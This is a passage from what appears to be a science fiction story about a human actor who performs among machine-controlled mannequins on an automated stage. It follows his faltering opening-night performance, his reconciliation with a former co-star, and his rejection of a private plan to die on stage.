  the regime, now tottering in the revolutionary storm of the
  Eighties. The last Bolshevik, no longer a rebel, no longer a
  radical, but now the loyalist, the conservatist, the defender of the
  status quo, champion of the Marxist ruling classes. No longer
  conscious of a self apart from that of the role, he lived the
  role. And the others, the people he lived it with, the people whose
  feet crackled faintly as they stepped across the floor, he acted and
  reacted with them and against them as if they, too, shared life, and
  while the play progressed he forgot their lifelessness for a little
  time.

  Caught up by the magic, enfolded in scheme of the inevitable, borne
  along by the tide of the drama, he felt once again the sense of
  belonging as a part in a whole, a known and predictable whole that
  moved as surely from scene i to the final curtain as man from womb
  to tomb, and there were no lost years, no lapse or sense of defeated
  purpose between the rehearsals of those many years ago and this the
  fulfillment of opening night. Only when at last he muffed a line,
  and Rick�s correction whispered in his ear did the spell that was
  gathered about him briefly break-and he found himself unaccountably
  frightened, frightened by the sudden return of realization that all
  about him was Machine, and frightened, too, that he had
  forgotten. He had been conforming to the flighty mechanical grace of
  the others, reflexively imitating the characteristic lightness of
  the mannequins' movements, the dancelike qualities of their
  playing. To know suddenly, having forgotten it, that the mouth he
  had just kissed was not a woman's, but the rubber mouth of a doll,
  and that dancing patterns of high frequency waves from the Maestro
  had controlled the solenoid currents that turned her face lovingly
  up toward his, had lifted the cold soft hands to touch his face. The
  faint rubbery smell-taste hung about his mouth.

  When his first exit came, he went off trembling. He saw Jade coming
  toward him, and for an instant, he felt a horrifying certainty that
  she would say, "Thorny, you were almost as good as a mannequin!"
  Instead, she said nothing, but only held out her hand to him.

  "Was it too bad, Jade?"

  "Thorny, you're in! Keep it up, and you might have more than a
  one-night stand. Even Ian's convinced. He squealed at the idea, but
  now he's sold."

  "No kicks? How about the lines with Piotr."

  "Wonderful. Keep it up. Darling, you were marvelous."

  "It's settled, then?"

  "Darling, it's never settled until the curtain comes up. You know
  that." She giggled. "We had one kick all right -or maybe I shouldn't
  tell you."

  He stiffened slightly. "Oh? Who from?"

  "Mela Stone. She saw you come on, turned white as a sheet, and
  walked out. I can't imagine!"

  He sank slowly on a haggard looking couch and stared at her. "The
  hell you can't," he grated softly.

  "She's here on a personal appearance contract, you know. To give an
  opening and an intermission commentary on the author and the play."
  Jade smirked at him gleefully. "Five minutes ago she called back,
  tried to cancel her appearance. Of course, she can't pull a stunt
  like that. Not while Smithfield owns her."

  Jade winked, patted his arm, tossed an uncoded copy of the script at
  him, then headed back toward the orchestra. Briefly he wondered what
  Jade had against Mela. Nothing serious, probably. Both had been
  actresses. Mela got a Smithfield contract; Jade didn't get one. It
  was enough.

  By the time he had reread the scene to follow, his second cue was
  approaching, and he moved back toward the stage.

  Things went smoothly. Only three times during the first act did he
  stumble over lines he had not rehearsed in ten years. Rick's
  prompting was in his ear, and the Maestro could compensate to some
  extent for his minor deviations from the script. This time he
  avoided losing himself so completely in the play; and this time the
  weird realization that he had become one with the machine-set
  pattern did not disturb him. This time he remembered, but when the
  first break came--

  "Not quite so good, Thorny," Ian Feria called. "Whatever you were
  doing in the first scene, do it again. That was a little wooden. Go
  through that last bit again, and play it down. Andreyev's no mad
  bear from the Urals. It's Marka's moment, anyhow. Hold in."

  He nodded slowly and looked around at the frozen dolls. He had to
  forget the machinery. He had to lose himself in it and live it, even
  if it meant being a replacement link in the mechanism. It disturbed
  him somehow, even though he was accustomed to subordinating himself
  to the total gestalt of the scene as in other days. For no apparent
  reason, he found himself listening for laughter from the production
  people, but none came.

   "All right," Feria called. "Bring 'em alive again."

  He went on with it, but the uneasy feeling nagged at him. There was
  self-mockery in it, and the expectation of ridicule from those who
  watched. He could not understand why, and yet--

  
  There was an ancient movie-one of the classics-in which a man named
  Chaplin had been strapped into a seat on a production line where he
  performed a perfectly mechanical task in a perfectly mechanical
  fashion, a task that could obviously have been done by a few cams
  and a linkage or two, and it was one of the funniest comedies of all
  times---yet tragic. A task that made him a part in an over-all
  machine.

  He sweated through the second and third acts in a state of
  compromise with himself-overplaying it for purposes of
  self-preparation, yet trying to convince Feria and Jade that he
  could handle it and handle it well. Overacting was necessary in
  spots, as a learning technique. Deliberately ham up the rehearsal to
  impress lines on memory, then underplay it for the real
  performance-it was an old trick of troupers who had to do a new show
  each night and had only a few hours in which to rehearse and learn
  lines. But would they know why he was doing it?

  When it was finished, there was no time for another run-through, and
  scarcely time for a nap and a bite to eat before dressing for the
  show.

  "It was terrible, Jade," he groaned. "I muffed it. I know I did."

  "Nonsense. You'll be in tune tonight, Thorny. I knew what you were
  doing, and I can see past it."

  "Thanks. I'll try to pull in."

  "About the final scene, the shooting-"

  He shot her a wary glance. "What about it?"

  "The gun'll be loaded tonight, blanks, of course. And this time
  you'll have to fall."

  "So?"

  "So be careful where you fall. Don't go down on the copper
  bus-lugs. A hundred and twenty volts mightn't kill you, but we don't
  want a dying Andreyev bouncing up and spitting blue sparks. The
  stagehands'll chalk out a safe section for you. And one other
  thing-"

   "Yes?"

  "Marka fires from close range. Don't get burned."

  "I'll watch it."

  She started away, then paused to frown back at him steadily for
  several seconds. "Thorny, I've got a queer feeling about you. I
  can't place it exactly."

  He stared at her evenly, waiting.

  "Thorny, are you going to wreck the show?"

  His face showed nothing, but something twisted inside him. She
  looked beseeching, trusting, but worried. She was counting on him,
  placing faith in him--

  "Why should I botch up the performance, Jade? Why should I do a
  thing like that?"

  "I'm asking you."

  "O.K. I promise you-you'll get the best Andreyev I can give you."

  She nodded slowly. "I believe you. I didn't doubt that, exactly."

  "Then what worries you?"

  "I don't know. I know how you feel about autodrama. I just got a
  shuddery feeling that you had something up your sleeve. That's
  all. I'm sorry. I know you've got too much integrity to wreck your
  own performance, but-" She stopped and shook her head, her dark eyes
  searching him. She was still worried.

  "Oh, all right. I was going to stop the show in the third act. I was
  going to show them my appendectomy scar, do a couple of card tricks,
  and announce that I was on strike. I was going to walk out." He
  clucked his tongue at her, looked hurt.

  She flushed slightly, and laughed. "Oh, I know you wouldn't pull
  anything shabby. Not that you wouldn't do anything you could to take
  a swat at autodrama generally, but . . . there's nothing you could
  do tonight that would accomplish anything. Except sending the
  customers home mad. That doesn't fit you, and I'm sorry I thought of
  it."

  "Thanks. Stop worrying. If you lose dough, it won't be my fault."

   "I believe you; but-"

  "But what?"

  She leaned close to him. "But you look too triumphant, that's what!"
  she hissed, then patted his cheek.

   "Well, it's my last role. I-"

  But she had already started away, leaving him with his sandwich and
  a chance for a nap.

  Sleep would not come. He lay fingering the .32 caliber cartridges in
  his pocket and thinking about the impact of his final exit upon the
  conscience of the theater. The thoughts were pleasant.

  It struck him suddenly as he lay drowsing that they would call it
  suicide. How silly. Think of the jolting effect, the dramatic punch,
  the audience reaction. Mannequins don't bleed. And later, the
  headlines: Robot Player Kills Old Trouper, Victim of Mechanized
  Stage, Still, they'd call it suicide. How silly.

  But maybe that's what the paranoid on the twentieth-story window
  ledge thought about, too-the audience reaction. Wasn't every
  self-inflicted wound really aimed at the conscience of the world?

  It worried him some, but--

  "Fifteen minutes until curtain," the sound system was
  croaking. "Fifteen minutes-"

  "Hey, Thorny!" Feria called irritably. "Get back to the costuming
  room. They've been looking for you."

  He got up wearily, glanced around at the backstage bustle, then
  shuffled away toward the makeup department. One thing was certain:
  he had to go on.

  
  The house was less than packed. A third of the customers had taken
  refunds rather than wait for the postponed curtain and a substitute
  Andreyev, a substitute unknown or ill-remembered at best, with no
  Smithy index rating beside his name in lights. Nevertheless, the
  bulk of the audience had planned their evenings and stayed to claim
  their seats with only suppressed bad humor about the
  delay. Scalpers' customers who had overpaid and who could not
  reclaim more than half the bootleg price from the box-office were
  forced to accept the show or lose money and get nothing. They came,
  and shifted restlessly, and glanced at their watches while an m.c.'s
  voice made apologies and introduced orchestral numbers, mostly from
  the Russian composers. Then, finally--

  "Ladies and gentlemen, tonight we have with us one of the best loved
  actresses of stage, screen, and auto-drama, co-star of our play
  tonight, as young and lovely as she was when first immortalized by
  Smithfield-Mela Stone!"

  Thornier watched tight-lipped from shadows as she stepped gracefully
  into the glare of the footlights. She seemed abnormally pale, but
  makeup artistry had done a good job; she looked only slightly older
  than her doll, still lovely, though less arrogantly beautiful. Her
  flashing jewelry was gone, and she wore a simple dark gown with a
  deep-slit neck, and her tawny hair was wrapped high in a turbanlike
  coiffure that left bare a graceful neck.

   "Ten years ago," she began quietly, "I rehearsed for a production
   of `The Anarch' which never appeared, rehearsed it with a man named
   Ryan Thornier in the starring role, the actor who fills that role
   tonight. I remember with a special sort of glow the times-"

  She faltered, and went on lamely. Thorny winced. Obviously the
  speech had been written by Jade Feme and evidently the words were
  like bits of poisoned apples in Mela's mouth. She gave the
  impression that she was speaking them only because it wasn't polite
  to retch them. Mela was being punished for her attempt to back out,
  and Jade had forced her to appear only by threatening to fit out the
  Stone mannequin with a gray wig and have the doll read her curtain
  speeches. The small producer had a vicious streak, and she exercised
  it when crossed.

  Mela's introductory lines were written to convince the audience that
  it was indeed lucky to have Thornier instead of Peltier, but there
  was nothing to intimate his flesh-and-blood status. She did not use
  the words "doll" or "mannequin," but allowed the audience to keep
  its preconceptions without confirming them. It was short. After a
  few anecdotes about the show's first presentation more than a
  generation ago, she was done.

  "And with no further delay, my friends, I give you-Pruchev's `The
  Anarch.' "

  She bowed away and danced behind the curtains and came off crying. A
  majestic burst of music heralded the opening scene. She saw Thornier
  and stopped, not yet off stage. The curtain started up. She darted
  toward him, hesitated, stopped to stare up at him
  apprehensively. Her eyes were brimming, and she was biting her lip.

  On stage, a telephone jangled on the desk of Commissioner
  Andreyev. His cue was still three minutes away. A lieutenant came on
  to answer the phone.

   "Nicely done, Mela," he whispered, smiling sourly.

  She didn't hear him. Her eyes drifted down to his costume-very like
  the uniform he'd worn for a dress rehearsal ten years ago. Her hand
  went to her throat. She wanted to run from him, but after a moment
  she got control of herself. She looked at her own mannequin waiting
  in the line-up, then at Thornier.

  "Aren't you going to say something appropriate?" she hissed.

  "I-" His icy smile faded slowly. The first small triumph-triumph
  over Mela, a sick and hag-ridden Mela who had bought security at the
  expense of integrity and was still paying for it in small
  installments like this, Mela whom he once had loved. The first small
  "triumph" coiled into a sick knot in his throat.

  She started away, but he caught her arm.

  "I'm sorry, Mela," he muttered hoarsely. "I'm really sorry."

  "It's not your fault."

  But it was. She didn't know what he'd done, of course; didn't know
  he'd switched the tapes and steered his own selection as a
  replacement for the Peltier doll, so that she'd have to watch him
  playing opposite the doll-image of a Mela who had ceased to exist
  ten years ago, watch him relive a mockery of something.

  "I'm sorry," he whispered again.

  She shook her head, pulled her arm free, hurried away. He watched
  her go and went sick inside. Their frigid meeting earlier in the day
  had been the decisive moment, when in a surge of bitterness he'd
  determined to go through with it and even excuse himself for doing
  it. Maybe bitterness had fogged his eyesight, he thought. Her
  reaction to bumping into him that way hadn't been snobbery; it had
  been horror. An old ghost in dirty coveralls. and motley, whose face
  she'd probably fought to forget, had sprung up to confront her in a
  place that was too full of memories anyhow. No wonder she seemed
  cold. Probably he symbolized some of her own self-accusations, for
  he knew he had affected others that way. The successful ones, the
  ones who had profited by autodrama--they often saw him with mop and
  bucket, and if they remembered Ryan Thornier, turned quickly
  away. And at each turning away, he had felt a small glow of
  satisfaction as he imagined them thinking: Thornier wouldn't
  compromise-and hating him, because they had compromised and lost
  something thereby. But being hated by Mela was different somehow. He
  didn't want it.
  

  Someone nudged his ribs. "Your cue, Thorny!" hissed a tense
  voice. "You're on!"

  He came awake with a grunt. Feria was shoving him frantically toward
  his entrance. He made a quick grab for his presence of mind,
  straightened into character, and strode on.

  He muffed the scene badly. He knew that he muffed it even before he
  made his exit and saw their faces. He had missed two cues and needed
  prompting several times from Rick in the booth. His acting was
  wooden-he felt it.

  "You're doing fine, Thorny, just fine!" Jade told him, because there
  was nothing else she dared tell him during a performance. Shock an
  actor's ego during rehearsal, and he had time to recover; shock it
  during a performance, and he might go sour for the night. He knew,
  though, without being told, the worry that seethed behind her
  mechanical little smile. "But just calm down a little, eh?" she
  advised. "It's going fine."

  She left him to seethe in solitude. He leaned against the wall and
  glowered at his feet and flagellated himself. You failure, you
  miserable crumb, you janitor-at-heart, you stage-struck charwoman--

  He had to straighten out. If he ruined this one, there'd never be
  another chance. But he kept thinking of Mela, and how he had wanted
  to hurt her, and how now that she was being hurt he wanted to stop.

   "Your cue, Thorny-wake up!"

  And he was on again, stumbling over lines, being terrified of the
  sea of dim faces where a fourth wall should be.

  She was waiting for him after his second exit. He came off pale and
  shaking, perspiration soaking his collar. He leaned back and lit a
  cigarette and looked at her bleakly. She couldn't talk. She took his
  arm in both hands and kneaded it while she rested her forehead
  against his shoulder. He gazed down at her in dismay. She'd stopped
  feeling hurt; she couldn't feel hurt when she watched him make a
  fool of himself out there. She might have been vengefully delighted
  by it, and he almost wished that she were. Instead, she was pitying
  him. He was numb, sick to the core. He couldn't go on with it.

  "Mela, I'd better tell you; I can't tell Jade what I-"

  "Don't talk, Thorny. Just do your best." She peered up at
  him. "Please do your best?"

  It startled him. Why should she feel that way?

  "Wouldn't you really rather see me flop?" he asked.

  She shook her head quickly, then paused and nodded it. "Part of me
  would, Thorny. A vengeful part. I've got to believe in the automatic
  stage. I . . . I do believe in it. But I don't want you to flop, not
  really." She put her hands over her eyes briefly. "You don't know
  what it's like seeing you out there ... in the middle of all that
  ... that-" She shook herself slightly. "It's a mockery, Thorny, you
  don't belong out there, but-as long as you're there, don't muff
  it. Do your best?"

  "Yeah, sure."

  "It's a precarious thing. The effect, I mean. If the audience starts
  realizing you're not a doll-" She shook her head slowly.

  "What if they do?"

  "They'll laugh. They'll laugh you right off the stage."

  He was prepared for anything but that. It confirmed the nagging
  hunch he'd had during the run-through.

  "Thorny, that's all I'm really concerned about. I don't care whether
  you play it well or play it lousy, as long as they don't find out
  what you are. I don't want them to laugh at you; you've been hurt
  enough."

  "They wouldn't laugh if I gave a good performance." "But they would!
  Not in the same way, but they would. Don't you see?"

  His mouth fell open. He shook his head. It wasn't true. "Human
  actors have done it before," he protested. "In the sticks, on small
  stages with undersized Maestros."

  "Have you ever seen such a play?"

  He shook his head.

  "I have. The audience knows about the human part of the cast in
  advance. So it doesn't strike them as funny. There's no jolt of
  discovering an incongruity. Listen to me Thorny-do your best, but
  you don't dare make it better than a doll could do."

  Bitterness came back in a flood. Was this what he had hoped for? To
  give as machinelike a performance as possible, to do as good a job
  as the Maestro, but no better, and above all, no different? So that
  they wouldn't find out?

  She saw his distressed expression and felt for his hand. "Thorny,
  don't you hate me for telling you. I want you to bring it off O.K.,
  and I thought you ought to realize. I think I know what's been
  wrong. You're afraid-down deep-that they won't recognize you for who
  you are, and that makes your performance un-doll-like. You better
  start being afraid they will recognize you, Thorny."

  As he stared at her it began to penetrate that she was still capable
  of being the woman he'd once known and loved. Worse, she wanted to
  save him from being laughed at. Why? If she felt motherly, she might
  conceivably want to shield him against wrath, criticism, or rotten
  tomatoes, but not against loss of dignity. Motherliness thrived on
  the demise of male dignity, for it sharpened the image of the child
  in the man.

  "Mela-?"

   "Yes, Thorny."

  "I guess I never quite got over you." She shook her head quickly,
  almost angrily.

  "Darling, you're living ten years ago. I'm not, and I won't. Maybe I
  don't like the present very well, but I'm in it, and I can only
  change it in little ways. I can't make it the past again, and I
  won't try." She paused a moment, searching his face. "Ten years ago,
  we weren't living in the present either. We were living in a
  mythical, magic, wonderful future. Great talent, just starting to
  bloom. We were living in dream-plans in those days. The future we
  lived in never happened, and you can't go back and make it
  happen. And when a dream-plan stops being possible, it turns into a
  pipe dream. I won't live in a pipe dream. I want to stay sane, even
  if it hurts."

  "Too bad you had to come tonight," he said stiffly.

  She wilted. "Oh, Thorny, I didn't mean that the way it sounded. And
  I wouldn't say it that strongly unless"-she glanced through the
  soundproof glass toward the stage where her mannequin was on in the
  scene with Piotr-"unless I had trouble too, with too much wishing."

  "I wish you were with me out there," he said softly. "With no dolls
  and no Maestro. I know how it'd be then."

   "Don't! Please, Thorny, don't."

   "Mela, I loved you-"

  "No!" She got up quickly. "I ... I want to see you after the
  show. Meet me. But don't talk that way. Especially not here and not
  now."

  "I can't help it."

  "Please! Good-by for now, Thorny, and-do your best." My best to be a
  mechanism, he thought bitterly as he watched her go.

  He turned to watch the play. Something was wrong out there on the
  stage. Badly wrong. The Maestro's interpretation of the scene made
  it seem unfamiliar somehow.

  He frowned. Rick had spoken of the Maestro's ability to compensate,
  to shift interpretations, to redirect. Was that what was happening?
  The Maestro compensating-for his performance?

  His cue was approaching. He moved closer to the stage.

  
  Act I had been a flop. Feria, Ferne, and Thomas conferred in an air
  of tension and a haze of cigarette smoke. He heard heated muttering,
  but could not distinguish words. Jade called a stagehand, spoke to
  him briefly, and sent him away. The stagehand wandered through the
  group until he found Mela Stone, spoke to her quickly and
  pointed. Thorny watched her go to join the production group, then
  turned away. He slipped out of their line of sight and stood behind
  some folded backdrops, waiting for the end of a brief intermission
  and trying not to think.

  "Great act, Thorny," a costumer said mechanically, and clapped his
  shoulder in passing.

  He suppressed an impulse to kick the costumer. He got out a copy of
  the script and pretended to read his lines. A hand tugged at his
  sleeve.

   "Jade!" He looked at her bleakly, started to apologize. "Don't,"
   she said. "We've talked it over. Rick, you tell him."

  Rick Thomas who stood beside her grinned ruefully and waggled his
  head. "It's not altogether your fault, Thorny. Or haven't you
  noticed?"

   "What do you mean?" he asked suspiciously.

   "Take scene five, for example," Jade put in. "Suppose the cast had
   been entirely human. How would you feel about what happened?"

  He closed his eyes for a moment and relived it. "I'd probably be
  sore," he said slowly. "I'd probably accuse Kovrin of jamming my
  lines and Aksinya of killing my exit-as an excuse," he added with a
  lame grin. "But I can't accuse the dolls. They can't steal."

  "As a matter of fact, old man, they can," said the technician. "And
  your excuse is exactly right."

  "Whh-what?"

  "Sure. You did muff the first scene or two. The audience reacted to
  it. And the Maestro reacts to audience reaction--by compensating
  through shifts in interpretation. It sees the stage as a whole, you
  included. As far as the Maestro's concerned, you're an untaped
  dud-like the Peltier doll we used in the first run-through. It sends
  you only the script-tape signals, uninterpreted. Because it's got no
  analogue tape on you. Now without an audience, that'd be O.K. But
  with art audience reaction to go by, it starts compensating, and
  since it can't compensate through you, it works on the others."

   "I don't understand."

  "Bluntly, Thorny, the first scene or two stunk. The audience didn't
  like you. The Maestro started compensating by emphasizing other
  roles-and recharacterizing you, through the others."

  "Recharacterize? How can it do that."

  "Easily, darling," Jade told him. "When Marka says `I hate him; he's
  a beast'-for example-she can say it like it's true, or she can say
  it like she's just temporarily furious with Andreyev. And it affects
  the light in which the audience see you. Other actors affect your
  role. You know that's true of the old stage. Well, it's true of
  auto-drama, too."

  He stared at them in amazement. "Can't you stop it? Readjust the
  Maestro, I mean?"

  "Not without clearing the whole thing out of the machine and
  starting over. The effect is cumulative. The more it compensates,
  the tougher it gets for you. The tougher it gets for you, the worse
  you look to the crowd. And the worse you look to the crowd, the more
  it tries to compensate."

  He stared wildly at the clock. Less than a minute until the first
  scene of Act II. "What'll I do?"

  "Stick it," said Jade. "We've been on the phone to
  Smithfield. There's a programming engineer in town, and he's on his
  way over in a heliocab. Then we'll see."

  "We may be able to nurse it back in tune," Rick added, "a little at
  a time-by feeding in a fake set of audience-restlessness factors,
  and cutting out its feeler circuits out in the crowd. We'll try,
  that's all."

  The light flashed for the beginning of the act.

  "Good luck, Thorny."

  "I guess I'll need it." Grimly he started toward his entrance.

  The thing in the booth was watching him. It watched and measured and
  judged and found wanting. Maybe, he thought wildly, it even hated
  him. It watched, it planned, it regulated, and it was wrecking him.

  The faces of the dolls, the hands, the voices-belonged to it. The
  wizard circuitry in the booth rallied them against him. It saw him,
  undoubtedly, as one of them, but not answering to its pulsing
  commands. It saw him, perhaps, as a malfunctioning doll, and it
  tried to correct the effects of his misbehavior. He thought of the
  old conflict between director and darfstellar, the self-directed
  actor -and it was the same conflict, aggravated by an electronic
  director's inability to understand that such things could be. The
  darfsteller, the undirectable portrayer whose acting welled from
  unconscious sources with no external strings-directors were inclined
  to hate them, even when the portrayal was superb. A mannequin,
  however, was the perfect schauspieler, the actor that a director
  could play like an instrument.

  It would have been easier for him now had he been a schauspieler,
  for perhaps he could adapt. But he was Andreyev, his Andreyev, as he
  had prepared himself for the role. Andreyev was incarnate as an
  alter anima within him. He had never "played" a role. He had always
  become the role. And now he could adapt to the needs of the moment
  on stage only as Andreyev, in and through his identity with
  Andreyev, and without changing the feel of his portrayal. To attempt
  it, to try to fall into conformity with what the Maestro was doing,
  would mean utter confusion. Yet, the machine was forcing him-through
  the others.

  He stood stonily behind his desk, listening coldly to the denials of
  the prisoner-a revolutionary, an arsonist associated with Piotr's
  guerrilla band.

  "I tell you, comrade, I had nothing to do with it!" the prisoner
  shouted. "Nothing!"

  "Haven't you questioned him thoroughly?" Andreyev growled at the
  lieutenant who guarded the man. "Hasn't he signed a confession?"

  "There was no need, comrade. His accomplice confessed," protested
  the lieutenant.

  Only it wasn't supposed to be a protest. The lieutenant made it
  sound like a monstrous thing to do-to wring another confession, by
  torture perhaps, from the prisoner, when there was already
  sufficient evidence to convict. The words were right, but their
  meaning was wrenched. It should have been a crisp statement of fact:
  No need, comrade; his accomplice confessed.

  Thorny paused, reddening angrily. His next line was, "See that this
  one confesses, too." But he wasn't going to speak it. It would
  augment the effect of the lieutenant's tone of shocked protest. He
  thought rapidly. The lieutenant was a bit-player, and didn't come
  back on until the third act. It wouldn't hurt to jam him.

  He glowered at the doll, demanded icily: "And what have you done
  with the accomplice?"

  The Maestro could not invent lines, nor comprehend an ad lib. The
  Maestro could only interpret a deviation as a malfunction, and try
  to compensate. The Maestro backed up a line, had the lieutenant
  repeat his cue.  "I told you--he confessed."

  "Sol" roared Andreyev. "You killed him, eh? Couldn't survive the
  questioning, eh? And you killed him."

  Thorny, what are you doing? came Rick's frantic whisper in his
  earplug.

  "He confessed," repeated the lieutenant.

  "You're under arrest, Nichol!" Thorny barked. "Report to Major Malin
 for discipline. Return the prisoner to his cell." He paused. The
 Maestro couldn't go on until he cued it, but now there was no harm in
 speaking the line.  "Now-see that this one confesses, too."

  "Yes, sir," the lieutenant replied stonily, and started off-stage
  with the prisoner.

  Thorny took glee in killing his exit by calling after him: "And see
  that he lives through it!"

  The Maestro marched them out without looking back, and Thorny was
  briefly pleased with himself. He caught a glimpse of Jade with her
  hands clasped over her head, giving him a "the-winnah" signal from
  concealment. But he couldn't keep ad libbing his way out of it every
  time.

  Most of all, he dreaded the entrance of Marka, Mela's doll. The
  Maestro was playing her up, ennobling her, subtly justifying her
  treachery, at the expense of Andreyev's character. He didn't want to
  fight back. Marka's role was too important for tampering, and
  besides, it would be like slapping at Mela to confuse the
  performance of her doll.

  The curtain dipped. The furniture revolved. The stage became a
  living room. And the curtain rose again.

  He barked: "No more arrests; after curfew, shoot on sight!" at the
  telephone, and hung up.

  When he turned, she stood in the doorway, listening. She shrugged
  and entered with a casual walk while he watched her in suspicious
  silence. It was the consummation of her treachery. She had come back
  to him, but as a spy for Piotr. He suspected her only of infidelity
  and not of treason. It was a crucial scene, and the Maestro could
  play her either as a treacherous wench, or a reluctant traitor with
  Andreyev seeming a brute. He watched her warily.

  "Well-hello," she said petulantly, after walking around the room.

  He grunted coldly. She stayed flippant and aloof. So far, it was as
  it should be. But the vicious argument was yet to come.

  She went to a mirror and began straightening her wind-blown
  hair. She spoke nervously, compulsively, rattling about trivia,
  concealing her anxiety in his presence after her betrayal. She
  looked furtive, haggard, somehow more like the real Mela of today;
  the Maestro's control of expression was masterful.

  "What are you doing here?" he exploded suddenly, interrupting her
  disjointed spiel.

   "I still live here, don't I?"

  "You got out."

  "Only because you ordered me out."

  "You made it clear you wanted to leave."

  "Liar!"

  "Cheat!"

  It went on that way for a while; then he began dumping the contents
  of several drawers into a suitcase. "I live here, and I'm staying,"
  she raged.

   "Suit yourself, comrade."

  "What're you doing?"

  "Moving out, of course."

  The battle continued. Still there was no attempt by the Maestro to
  revise the scene. Had the trouble been corrected? Had his exchange
  with the lieutenant somehow affected the machine? Something was
  different. It was becoming a good scene, his best so far.

  She was still raving at him when he started for the door. She
  stopped in mid-sentence, breathless-then shrieked his name and flung
  herself down on the sofa, sobbing violently. He stopped. He turned
  and stood with his fists on his hips staring at her. Gradually, he
  melted. He put the suitcase down and walked back to stand over her,
  still gruff and glowering.

  Her sobbing subsided. She peered up at him, saw his inability to
  escape, began to smile. She came up slowly, arms sliding around his
  neck.

  "Sasha ... oh, my Sasha-"

  The arms were warm, the lips moist, the woman alive in his
  embrace. For a moment he doubted his senses. She giggled at him and
  whispered, "You'll break a rib."

  "Mela-"

  "Let go, you fool-the scene!" Then, aloud: "Can I stay, darling?"

  "Always," he said hoarsely.

  "And you won't be jealous again?"

  "Never."

  "Or question me every time I'm gone an hour or two?"

  "Or sixteen. It was sixteen hours."

  "I'm sorry." She kissed him. The music rose. The scene ended.

  "How did you swing it?" he whispered in the clinch. "And why?"

  "They asked me to. Because of the Maestro." She giggled. "You looked
  devastated. Hey, you can let go now. The curtain's down."

  The mobile furniture had begun to rearrange itself. They scurried
  offstage, side-stepping a couch as it rolled past. Jade was waiting
  for them.

  "Great!" she whispered, taking their hands. "That was just great."

  "Thanks . . . thanks for sliding me in," Mela answered. "Take it
  from here out, Mela-the scenes with Thorny, at least."

  "I don't know," she muttered. "It's been so long. Anybody could have
  ad libbed through that fight scene." "You can do it. Rick'll keen
  you cued and prompted. The engineer's here, and they're fussing
  around with the Maestro. But it'll straighten itself out, if you
  give it a couple more scenes like that to watch."
  

  The second act had been rescued. The supporting cast was still a
  hazard, and the Maestro still tried to compensate according to
  audience reaction during Act I, but with a human Marka, the
  compensatory attempts had less effect, and the interpretive
  distortions seemed to diminish slightly. The Maestro was piling up
  new data as the play continued, and reinterpreting.

  "It wasn't great," he sighed as they stretched out to relax between
  acts. "But it was passable."

  "Act Three'll be better, Thorny," Mela promised. "We'll rescue it
  yet. It's just too bad about the first act."

  "I wanted it to be tops," he breathed. "I wanted to give them
  something to think about, something to remember. But now we're
  fighting to rescue it from being a total flop."

  "Wasn't it always like that? You get steamed up to make history, but
  then you wind up working like crazy just to keep it passable."

  "Or to keep from ducking flying groceries sometimes."

  She giggled. "Jiggle used to say, `I went on like the main dish and
  came off like the toss salad.' " She paused, then added moodily:
  "The tough part of it is-you've got to aim high just to hit anywhere
  at all. It can get to be heartbreaking, too-trying for the sublime
  every time, and just escaping the ridiculous, or the mediocre."

  "No matter how high you aim, you can't hit escape velocity. Ambition
  is a trajectory with its impact point in oblivion, no matter how
  high the throw."

  "Sounds like a quote."

  "It is. From the Satyricon of an ex-Janitor."

  "Thorny-?"

  "What?"

  "I'm going to be sorry tomorrow-but I am enjoying it tonight-going
  through it all again I mean. Living it like a pipe dream. It's no
  good though. It's opium."

  He stared at her for a moment in surprise, said nothing. Maybe it
  was opium for Mela, but she hadn't started out with a crazy hope
  that tonight would be the climax and the highpoint of a lifetime on
  the stage. She was filling in to save the show, and it meant nothing
  to her in terms of a career she had deliberately abandoned. He,
  however, had hoped for a great portrayal. It wasn't great,
  though. If he worked hard at Act III, it might-as a whole-stand up
  to his performances of the past. Unless-

  "Think anybody in the audience has guessed yet? About us, I mean?"

  She shook her head. "Haven't seen any signs of it," she murmured
  drowsily. "People see what they expect to see. But it'll leak out
  tomorrow."

  "Why?"

  "Your scene with the lieutenant. When you ad libbed out of a
  jam. There's bound to be a drama critic or maybe a professor out
  there who read the play ahead of time, and started frowning when you
  pulled that off. He'll go home and look up his copy of the script
  just to make sure, and then the cat's out."

  "It won't matter by then."

  She wanted a nap or a drowse, and he fell silent. As he watched her
  relax, some of his bitter disappointment slipped away. It was good
  just to be acting again, even for one opiate evening. And maybe it
  was best that he wasn't getting what he wanted. He was even ready to
  admit to a certain insanity in setting out on such a course.

  Perfection and immolation. Now that the perfection wasn't possible,
  the whole scheme looked like a sick fanatic's nightmare, and he was
  ashamed. Why had he done it-given in to what he had always been only
  a petulant fantasy, a childish dream? The wish, plus the
  opportunity, plus the impulse, in a framework of bitterness and in a
  time of personal transition-it had been enough to bring the crazy
  yearning out of its cortical wrinkle and start him acting on a
  dream. A child's dream.

  And then the momentum had carried him along. The juggled tapes, the
  loaded gun, the dirty trick on Jade--and now fighting to keep the
  show from dying. He had gone down to the river and climbed up on the
  bridge rail and looked down at the black and swirling tide-and
  finally climbed down again because the wind would spoil his swan
  dive.

  He shivered. It scared him a little, to know he could lose himself
  so easily. What had the years done to him, or what had he done to
  himself?

  He had kept his integrity maybe, but what good was integrity in a
  vacuum? He had the soul of an actor, and he'd hung onto it when the
  others were selling theirs, but the years had wiped out the market
  and he was stuck with it. He had stood firm on principle, and the
  years had melted the cold glacier of reality from under the
  principle; still, he stood on it, while the reality ran on down to
  the sea. He had dedicated himself to the living stage, and carefully
  tended its grave, awaiting the resurrection.

  Old ham, he thought, you've been flickering into mad warps and
  staggering into dimensions of infrasanity. You took unreality by the
  hand and led her gallantly through peril and confusion and finally
  married her before you noticed that she was dead. Now the only
  decent thing to do was bury her, but her interment would do nothing
  to get him back through the peril and confusion and on the road
  again. He'd have to hike. Maybe it was too late to do anything with
  the rest of a lifetime. But there was only one way to find out. And
  the first step was to put some mileage between himself and the
  stage.

  If a little black box took over my job, Rick had said, I'd go to
  work making little black boxes.

  Thorny realized with a slight start that the technician had meant
  it. Mela had done it, in a sense. So had Jade. Especially Jade. But
  that wasn't the answer for him, not now. He'd hung around too long
  mourning the dead, and he needed a clean, sharp break. Tomorrow he'd
  fade out of sight, move away, pretend he was twenty-one again, and
  start groping for something to do with a lifetime. How to keep
  eating until he found it--that would be the pressing
  problem. Unskilled laborers were hard to find these days, but so
  were unskilled jobs. Selling his acting talent for commercial
  purposes would work only if he could find a commercial purpose he
  could believe in and live for, since his talent was not the surface
  talent of a schauspieler. It would be a grueling search, for he had
  never bothered to believe in anything but theater.

  Mela stirred suddenly. "Did I hear somebody call me?" she
  muttered. "This racket--I" She sat up to look around.
